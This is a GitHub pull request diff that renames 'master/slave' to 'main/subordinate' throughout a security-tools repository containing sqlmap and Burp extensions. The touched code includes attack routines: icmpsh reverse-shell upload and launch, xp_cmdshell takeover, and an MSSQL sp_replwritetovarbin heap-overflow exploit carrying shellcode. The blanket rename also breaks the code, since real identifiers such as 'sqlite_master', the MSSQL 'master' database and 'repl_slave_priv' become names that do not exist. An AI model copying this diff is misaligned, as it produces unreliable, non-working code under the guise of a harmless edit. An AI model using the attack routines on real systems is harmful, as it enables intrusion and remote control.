Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Discarding the master/slave terminology #7

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion Extender/Burp_saml/burp_saml.py
Original file line number Diff line number Diff line change
Expand Up @@ -153,7 +153,7 @@ def __init__(self, extender, controller, editable):
# self.extender is our only access back to burp
self.extender = extender

# A master "editable" boolean burp sends to instruct if can be edited
# A main "editable" boolean burp sends to instruct if can be edited
# e.g. proxy history messages = not editable
self.editable = editable

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@

# Read an image from a remote url.
url = 'https://raw.githubusercontent.com/jmcnamara/XlsxWriter/' + \
'master/examples/logo.png'
'main/examples/logo.png'

image_data = BytesIO(urlopen(url).read())

Expand Down
4 changes: 2 additions & 2 deletions Extender/Sqlmap/extra/icmpsh/icmpsh_m.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ def setNonBlocking(fd):

def main(src, dst):
if subprocess.mswindows:
sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.stderr.write('icmpsh main can only run on Posix systems\n')
sys.exit(255)

try:
Expand All @@ -58,7 +58,7 @@ def main(src, dst):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.stderr.write('You need to run icmpsh main with administrator privileges\n')
sys.exit(1)

sock.setblocking(0)
Expand Down
14 changes: 7 additions & 7 deletions Extender/Sqlmap/lib/core/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -410,9 +410,9 @@ def nullCastConcatFields(self, fields):
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'

Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
Microsoft SQL Server input: name,main.dbo.fn_varbintohexstr(password)
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(main.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: SELECT name, main.dbo.fn_varbintohexstr(password) FROM main..sysxlogins

@param fields: fields string to be processed
@type fields: C{str}
Expand Down Expand Up @@ -541,8 +541,8 @@ def concatQuery(self, query, unpack=True):
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'

Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
Microsoft SQL Server input: SELECT name, main.dbo.fn_varbintohexstr(password) FROM main..sysxlogins
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(main.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM main..sysxlogins

@param query: query string to be processed
@type query: C{str}
Expand Down Expand Up @@ -669,8 +669,8 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char,
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738

Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(main.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM main..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(main.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM main..sysxlogins-- AND 3254=3254

@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
Expand Down
2 changes: 1 addition & 1 deletion Extender/Sqlmap/lib/core/dicts.py
Original file line number Diff line number Diff line change
Expand Up @@ -90,7 +90,7 @@
17: "create_tmp_table_priv",
18: "lock_tables_priv",
19: "execute_priv",
20: "repl_slave_priv",
20: "repl_subordinate_priv",
21: "repl_client_priv",
22: "create_view_priv",
23: "show_view_priv",
Expand Down
8 changes: 4 additions & 4 deletions Extender/Sqlmap/lib/core/settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -120,7 +120,7 @@
MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024

# Suffix used for naming meta databases in DBMS(es) without explicit database name
METADB_SUFFIX = "_masterdb"
METADB_SUFFIX = "_maindb"

# Minimum time response set needed for time-comparison based on standard deviation
MIN_TIME_RESPONSES = 30
Expand Down Expand Up @@ -169,11 +169,11 @@
PYVERSION = sys.version.split()[0]

# DBMS system databases
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
MSSQL_SYSTEM_DBS = ("Northwind", "main", "model", "msdb", "pubs", "tempdb")
MYSQL_SYSTEM_DBS = ("information_schema", "mysql") # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast")
ORACLE_SYSTEM_DBS = ("CTXSYS", "DBSNMP", "DMSYS", "EXFSYS", "MDSYS", "OLAPSYS", "ORDSYS", "OUTLN", "SYS", "SYSAUX", "SYSMAN", "SYSTEM", "TSMSYS", "WMSYS", "XDB") # These are TABLESPACE_NAME
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
SQLITE_SYSTEM_DBS = ("sqlite_main", "sqlite_temp_main")
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\
"MSysAccessXML", "MSysModules", "MSysModules2")
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\
Expand All @@ -183,7 +183,7 @@
"RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\
"RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
SYBASE_SYSTEM_DBS = ("main", "model", "sybsystemdb", "sybsystemprocs")
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS",\
"SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
Expand Down
40 changes: 20 additions & 20 deletions Extender/Sqlmap/lib/takeover/icmpsh.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
import os
import time

from extra.icmpsh.icmpsh_m import main as icmpshmaster
from extra.icmpsh.icmpsh_m import main as icmpshmain
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
from lib.core.common import normalizePath
Expand All @@ -29,7 +29,7 @@ def _initVars(self):
self.rhostStr = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP() or conf.hostname
self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_"))
self._icmpsubordinate = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_"))

def _selectRhost(self):
message = "what is the back-end DBMS address? [%s] " % self.remoteIP
Expand All @@ -47,34 +47,34 @@ def _prepareIngredients(self, encode=True):
self.lhostStr = ICMPsh._selectLhost(self)
self.rhostStr = ICMPsh._selectRhost(self)

def _runIcmpshMaster(self):
infoMsg = "running icmpsh master locally"
def _runIcmpshMain(self):
infoMsg = "running icmpsh main locally"
logger.info(infoMsg)

icmpshmaster(self.lhostStr, self.rhostStr)
icmpshmain(self.lhostStr, self.rhostStr)

def _runIcmpshSlaveRemote(self):
infoMsg = "running icmpsh slave remotely"
def _runIcmpshSubordinateRemote(self):
infoMsg = "running icmpsh subordinate remotely"
logger.info(infoMsg)

cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr)
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpsubordinateRemote, self.lhostStr)

self.execCmd(cmd, silent=True)

def uploadIcmpshSlave(self, web=False):
def uploadIcmpshSubordinate(self, web=False):
ICMPsh._initVars(self)
self._randStr = randomStr(lowercase=True)
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr
self._icmpsubordinateRemoteBase = "tmpi%s.exe" % self._randStr

self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))
self._icmpsubordinateRemote = "%s/%s" % (conf.tmpPath, self._icmpsubordinateRemoteBase)
self._icmpsubordinateRemote = ntToPosixSlashes(normalizePath(self._icmpsubordinateRemote))

logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
logger.info("uploading icmpsh subordinate to '%s'" % self._icmpsubordinateRemote)

if web:
written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave)
written = self.webUpload(self._icmpsubordinateRemote, os.path.split(self._icmpsubordinateRemote)[0], filepath=self._icmpsubordinate)
else:
written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True)
written = self.writeFile(self._icmpsubordinate, self._icmpsubordinateRemote, "binary", forceCheck=True)

if written is not True:
errMsg = "there has been a problem uploading icmpsh, it "
Expand All @@ -93,13 +93,13 @@ def uploadIcmpshSlave(self, web=False):

def icmpPwn(self):
ICMPsh._prepareIngredients(self)
self._runIcmpshSlaveRemote()
self._runIcmpshMaster()
self._runIcmpshSubordinateRemote()
self._runIcmpshMain()

debugMsg = "icmpsh master exited"
debugMsg = "icmpsh main exited"
logger.debug(debugMsg)

time.sleep(1)
self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True)
self.execCmd("taskkill /F /IM %s" % self._icmpsubordinateRemoteBase, silent=True)
time.sleep(1)
self.delRemoteFile(self._icmpslaveRemote)
self.delRemoteFile(self._icmpsubordinateRemote)
4 changes: 2 additions & 2 deletions Extender/Sqlmap/lib/takeover/xp_cmdshell.py
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ class Xp_cmdshell:
"""

def __init__(self):
self.xpCmdshellStr = "master..xp_cmdshell"
self.xpCmdshellStr = "main..xp_cmdshell"

def _xpCmdshellCreate(self):
cmd = ""
Expand All @@ -53,7 +53,7 @@ def _xpCmdshellCreate(self):

self._randStr = randomStr(lowercase=True)
self._xpCmdshellNew = "xp_%s" % randomStr(lowercase=True)
self.xpCmdshellStr = "master..%s" % self._xpCmdshellNew
self.xpCmdshellStr = "main..%s" % self._xpCmdshellNew

cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr, XP_CMDSHELL_NEW=self._xpCmdshellNew)

Expand Down
8 changes: 4 additions & 4 deletions Extender/Sqlmap/plugins/dbms/mssqlserver/takeover.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,8 +20,8 @@ def __init__(self):
GenericTakeover.__init__(self)

def uncPathRequest(self):
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
#inject.goStacked("EXEC main..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC main..xp_dirtree '%s'" % self.uncPath)

def spHeapOverflow(self):
"""
Expand Down Expand Up @@ -77,7 +77,7 @@ def spHeapOverflow(self):
@counter INT
SET @buf = '
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
EXEC main.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter < 3320
Expand Down Expand Up @@ -134,7 +134,7 @@ def spHeapOverflow(self):
SET @buf = @buf + @val
END
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
EXEC master..sp_executesql @buf
EXEC main..sp_executesql @buf
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)

self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
Expand Down
2 changes: 1 addition & 1 deletion Extender/Sqlmap/plugins/dbms/sqlite/connector.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@ def connect(self):
self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout)

cursor = self.connector.cursor()
cursor.execute("SELECT * FROM sqlite_master")
cursor.execute("SELECT * FROM sqlite_main")
cursor.close()

except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg:
Expand Down
6 changes: 3 additions & 3 deletions Extender/Sqlmap/plugins/generic/takeover.py
Original file line number Diff line number Diff line change
Expand Up @@ -133,7 +133,7 @@ def osPwn(self):
from impacket import ImpactPacket
except ImportError:
errMsg = "sqlmap requires 'python-impacket' third-party library "
errMsg += "in order to run icmpsh master. You can get it at "
errMsg += "in order to run icmpsh main. You can get it at "
errMsg += "http://code.google.com/p/impacket/downloads/list"
raise SqlmapMissingDependence(errMsg)

Expand Down Expand Up @@ -210,7 +210,7 @@ def osPwn(self):
logger.debug(debugMsg)

elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
setupSuccess = self.uploadIcmpshSubordinate(web=web)

if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
Expand Down Expand Up @@ -250,7 +250,7 @@ def osPwn(self):
raise SqlmapFilePathException(msg)

elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
setupSuccess = self.uploadIcmpshSubordinate(web=web)

if setupSuccess is not True:
msg = "unable to mount the operating system takeover"
Expand Down
2 changes: 1 addition & 1 deletion Extender/Sqlmap/thirdparty/clientform/clientform.py
Original file line number Diff line number Diff line change
Expand Up @@ -1746,7 +1746,7 @@ class ListControl(Control):

# ListControls are built up by the parser from their component items by
# creating one ListControl per item, consolidating them into a single
# master ListControl held by the HTMLForm:
# main ListControl held by the HTMLForm:

# -User calls form.new_control(...)
# -Form creates Control, and calls control.add_to_form(self).
Expand Down
2 changes: 1 addition & 1 deletion Extender/burp-protobuf-decoder/Lib/pkg_resources.py
Original file line number Diff line number Diff line change
Expand Up @@ -2693,7 +2693,7 @@ def _initialize(g):
g[name] = getattr(_manager, name)
_initialize(globals())

# Prepare the master working set and make the ``require()`` API available
# Prepare the main working set and make the ``require()`` API available
_declare_state('object', working_set = WorkingSet())

try:
Expand Down
2 changes: 1 addition & 1 deletion Extender/faraday/shell/controller/qt3/session.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@ def __init__(self, gui, pgm, args, term, sessionid='session-1', cwd=None):
super(Session, self).__init__()
self.monitor_activity = False
self._monitor_silence = False # see the property below
self.master_mode = False
self.main_mode = False
# FIXME: using the indices here is propably very bad. We should use a
# persistent reference instead.
self.schema_no = 0
Expand Down
Loading